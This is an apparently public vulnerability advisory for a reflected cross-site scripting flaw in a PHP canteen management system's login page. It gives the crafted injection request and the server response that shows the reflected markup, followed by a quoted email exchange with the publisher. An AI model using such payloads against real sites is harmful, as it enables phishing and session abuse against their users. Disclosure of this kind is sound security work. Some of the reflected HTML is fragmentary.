## Title: Canteen-Management-1.0-2022 suffers from XSS-Reflected  
## Author: nu11secur1ty  
## Date: 10.04.2022  
## Vendor:  
## Software:  
## Reference:  
## Description:  
The Canteen-Management-1.0-2022 suffers from XSS-Reflected vulnerability.  
The name of an arbitrarily supplied URL parameter is copied into the  
value of an HTML tag attribute which is encapsulated in double  
quotation marks.  
The attacker can craft a very malicious HTTPS URL redirecting to a  
very malicious URL. When the victim clicks into this crafted URL the  
game will over for him.  
STATUS: High vulnerability  
[+]Payload REQUEST:  
GET /youthappam/login.php/lu555%22%3E%3Ca%20href=%22;max-width:100%;%22%20alt=%22Photo%20of%20Byron%20Bay,%20one%20of%20Australia%27s%20best%20beaches!%22%3E%20%3C/a%3Emv2me  
Accept-Encoding: gzip, deflate  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Accept-Language: en-US;q=0.9,en;q=0.8  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62  
Connection: close  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="106", "Chromium";v="106"  
Sec-CH-UA-Platform: Windows  
Sec-CH-UA-Mobile: ?0  
[+]Payload RESPONSE:  
HTTP/1.1 200 OK  
Date: Tue, 04 Oct 2022 09:44:55 GMT  
Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.6  
X-Powered-By: PHP/8.1.6  
Set-Cookie: PHPSESSID=m1teao9b0j86ep94m6v7ek7fe6; path=/  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Content-Length: 6140  
Connection: close  
Content-Type: text/html; charset=UTF-8  
<link rel="stylesheet" href="assets/css/popup_style.css">  
.footer1 {  
position: fixed;  
bottom: 0;  
width: 100%;  
color: #5c4ac7;  
text-align: center;  
<!DOCTYPE html>  
<html lang="en">  
<meta charset="utf-8">  
<meta http-equiv="X-UA-Compatible" content="IE=edge">  
<meta charset="utf-8">  
<meta name="viewport" content="width=device-width, initial-scale=1.0,  
user-scalable=0, minimal-ui">  
<meta http-equiv="X-UA-Compatible" content="IE=edge" />  
<meta name="description" content="">  
<meta name="keywords" content="">  
<meta name="author" content="">  
<link rel="icon" type="image/png" sizes="16x16"  
<style type="text/css">  
@media print {  
#printbtn {  
display : none;  
<title>Youthappam Canteen Management System - by Mayuri K.  
<link href="assets/css/lib/chartist/chartist.min.css" rel="stylesheet">  
<link href="assets/css/lib/owl.carousel.min.css" rel="stylesheet" />  
<link href="assets/css/lib/owl.theme.default.min.css" rel="stylesheet" />  
<link href="assets/css/lib/bootstrap/bootstrap.min.css" rel="stylesheet">  
<link href="assets/css/helper.css" rel="stylesheet">  
<link href="assets/css/style.css" rel="stylesheet">  
<link rel="stylesheet"  
href="assets/css/lib/html5-editor/bootstrap-wysihtml5.css" />  
<link href="assets/css/lib/calendar2/semantic.ui.min.css" rel="stylesheet">  
<link href="assets/css/lib/calendar2/pignose.calendar.min.css"  
<link href="assets/css/lib/sweetalert/sweetalert.css" rel="stylesheet">  
<link href="assets/css/lib/datepicker/bootstrap-datepicker3.min.css"  
<script type="text/javascript"  
<script type="text/javascript">  
google.charts.load("current", {packages:["corechart"]});  
function drawChart() {  
var data = google.visualization.arrayToDataTable([  
['Food', 'Average sale per Day'],  
['Masala dosa', 11],  
['Chicken 65 ', 2],  
['Karapu Boondi', 2],  
['Bellam Gavvalu', 2],  
['Gummadikaya Vadiyalu', 7]  
var options = {  
title: 'Food Average Sale per Day',  
pieHole: 0.4,  
var chart = new  
chart.draw(data, options);  
<body class="fix-header fix-sidebar">  
<div id="page"></div>  
<div id="loading"></div>  
<div id="main-wrapper">  
<div class="unix-login">  
<div class="container-fluid" style="background-image:  
background-color: #ffffff;background-size:cover">  
<div class="row">  
<div class="col-lg-4 ml-auto">  
<div class="login-content">  
<div class="login-form">  
src="./assets/uploadImage/Logo/logo.png" style="width:  
action="/youthappam/login.php/lu555"><a href="https:/"  
target="_blank" rel="noopener nofollow ugc"> <img  
method="post" id="loginForm">  
<div class="form-group">  
<input type="text"  
name="username" id="username" class="form-control"  
placeholder="Username" required="">  
<div class="form-group">  
<input type="password"  
id="password" name="password" class="form-control"  
placeholder="Password" required="">  
<button type="submit" name="login"  
class="f-w-600 btn btn-primary btn-flat m-b-30 m-t-30">Sign  
<!-- <div class="forgot-phone  
text-right f-right">  
<a href="#" class="text-right f-w-600"> Forgot Password?</a>  
</div> -->  
<div class="forgot-phone text-left f-left">  
<a href = " = Project  
Development Requirement&body = I saw your projects. I want to develop  
a project" class="text-right f-w-600"> Click here to contact me</a>  
<script src="./assets/js/lib/jquery/jquery.min.js"></script>  
<script src="./assets/js/lib/bootstrap/js/popper.min.js"></script>  
<script src="./assets/js/lib/bootstrap/js/bootstrap.min.js"></script>  
<script src="./assets/js/jquery.slimscroll.js"></script>  
<script src="./assets/js/sidebarmenu.js"></script>  
<script src="./assets/js/lib/sticky-kit-master/dist/sticky-kit.min.js"></script>  
<script src="./assets/js/custom.min.js"></script>  
function onReady(callback) {  
var intervalID = window.setInterval(checkReady, 1000);  
function checkReady() {  
if (document.getElementsByTagName('body')[0] !== undefined) {  
function show(id, value) {  
document.getElementById(id).style.display = value ? 'block' : 'none';  
onReady(function () {  
show('page', true);  
show('loading', false);  
## Reproduce:  
## Proof and Exploit:  
## More:  
На вт, 4.10.2022 г. в 23:24 ч. nu11 secur1ty <>  
> Tomorow I will send to you. BR  
> On Tue, Oct 4, 2022, 19:11 Packet Storm <>  
> wrote:  
>> Missing submission  
>> On Tue, Oct 04, 2022 at 02:23:16PM +0300, nu11 secur1ty wrote:  
>> >  
>> >  
>> > --  
>> > System Administrator - Infrastructure Engineer  
>> > Penetration Testing Engineer  
>> > Exploit developer at  
>> > and  
>> > home page:  
>> > hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=  
>> > nu11secur1ty <>  
System Administrator - Infrastructure Engineer  
Penetration Testing Engineer  
Exploit developer at and  
home page:  
nu11secur1ty <>